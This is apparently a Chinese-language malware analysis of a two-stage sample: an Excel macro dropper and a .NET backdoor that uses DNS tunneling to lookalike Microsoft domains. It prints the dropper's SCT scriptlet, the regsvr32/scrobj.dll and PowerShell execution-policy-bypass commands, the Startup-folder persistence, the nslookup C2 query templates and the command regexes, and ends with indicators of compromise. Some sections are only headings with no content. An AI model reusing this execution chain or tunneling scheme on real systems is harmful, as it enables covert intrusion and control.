第一阶段:Excel文档【Dropper】
要查看宏,请从“开发人员”选项卡(“文件”->“选项”->“自定义功能区”->“开发人员复选框”),单击“Visual Basic”,您可以看到宏。
宏首先写入一个长的powershell脚本%TEMP%\WINDOWSTEMP.ps1,然后写入一个SCT脚本%TEMP%\12-B-366.txt。
<?XML version="1.0"?>
<scriptlet>
<registration progid = "PoC" classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("" + powershell_command + "", 0, true); ]]>
</script>
</registration>
</scriptlet>
最后,它使用以下命令运行此 SCT 脚本:
regsvr32.exe /s /n /u /i: %TEMP%\12-B-366.txt scrobj.dll
SCT 脚本将运行一个 powershell 命令,该命令执行写入临时文件夹的 powershell 脚本:
powershell.exe -noexit -exec bypass -File %TEMP%\WINDOWSTEMP.ps1
%APPDATA%\Microsoft\Windows\Templates\WindowsTemplate.exe
并执行。
最后,它在名称下的启动文件夹中创建了此可执行文件的快捷方式
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk
(一种实现持久性但很容易检测到的方法)。
所以链的工作原理如下:
SCT脚本 -运行-> Powershell脚本 -删除-> 最终可执行文件
第二阶段:.NET 可执行文件
VBOX
bochs
qemu
VirtualBox
VM
持久链接
C2 通信
DNS Tunneling该恶意软件使用一种称为利用 DNS 请求发送和接收数据的技术(通常 DNS 请求不会被防火墙过滤,这使得该技术非常强大)。
C2 Domains:
0ffice365.agency
0nedrive.agency
corewindows.agency
microsoftonline.agency
onedrive.agency
sharepoint.agency
skydrive.agency
0ffice365.life
0ffice365.services
skydrive.services
恶意软件首先使用以下命令刷新 DNS 缓存:
ipconfig /flushdns
然后它循环遍历 C2 域并向每个域发送 DNS 查询,它具有三种变体或模式:
normal request: nslookup.exe -q={DNS_quest_type} {id}.{domain_name}
ac mode is enables: nslookup.exe -timeout=5 -q={DNS_quest_type} {id}.ac.{domain_name}
debugger is attached: nslookup.exe -timeout=5 -q={DNS_quest_type} 676f6f646c75636b.ac.{domain_name}
有趣的是,如果我们解码676f6f646c75636b(附加调试器时增加的值),我们得到值goodluck,恶意软件作者试图与分析师开玩笑:)
以下是恶意软件可能使用的 DNS 查询类型:
DNS query types:
MX
TXT
A
AAAA
通过调用然后将进程 ID 转换为具有以下替换的字符串来id生成请求:GetCurrentProcess()
0 --> h
1 --> i
2 --> j
3 --> k
4 --> l
5 --> m
6 --> n
7 --> o
8 --> p
9 --> q
如果响应包含这些字符串中的任何一个,查询函数将返回“cancel”:
216.58.192.174
2a00:1450:4001:81a::200e
2200::
download.microsoft.com
ntservicepack.microsoft.com
windowsupdate.microsoft.com
update.microsoft.com
如果响应包含这些字符串中的任何一个,查询函数将移动到下一个域:
timeout
UnKnown can
Unspecified error
如果响应包含这些字符串中的任何一个,查询函数将返回 DNS 响应并退出:
canonical name
mx
namerserver
mail serve
address
getjob
havejob
getid
在此阶段,恶意软件通过getid获取长度为 2 的唯一 ID,如果响应无效,则返回的 ID 设置为“0”。
10.0.2.15|IEuser-PC|WORKGROUP|IEuser|01|0|0|1|1|0|cs
接收命令
恶意软件每秒查询一次 C2 服务器,它使用这些正则表达式提取命令:
Address:\\s+(([a-fA-F0-9]{0,4}:{1,2}){1,8})
Address:\\s+\\d+.\\d+.\\d+.\\d+
Address:\\s+40.112.(\\d+.\\d+)
\\s(\\w{3}).(domain_1|domain_2|...|domain_n)
如果恶意软件收到一个新命令,它会启动一个新线程来执行它:
以下是命令列表:
Google Drive 作为替代 C2 (x_mode)
现在我们知道了每个配置变量的用法,让我们深入研究从 Google Drive 通信和接收命令的过程。
IOC
哈希值
第一阶段:8DC9F5450402AE799F5F8AFD5C0A8352
第二阶段:039BD47F0FDB6BB7D68A2428C71F317D
文件
%TEMP%\WINDOWSTEMP.ps1
%TEMP%\12-B-366.txt
%APPDATA%\Microsoft\Windows\Templates\WindowsTemplate.exe
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk
C2通信
0ffice365[.]agency
0nedrive[.]agency
corewindows[.]agency
microsoftonline[.]agency
onedrive[.]agency
sharepoint[.]agency
skydrive[.]agency
0ffice365[.]life
0ffice365[.]services
skydrive[.]services
参考:
https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling
https://blog.centurylink.com/ismdoor-malware-continues-to-make-use-of-dns-tunneling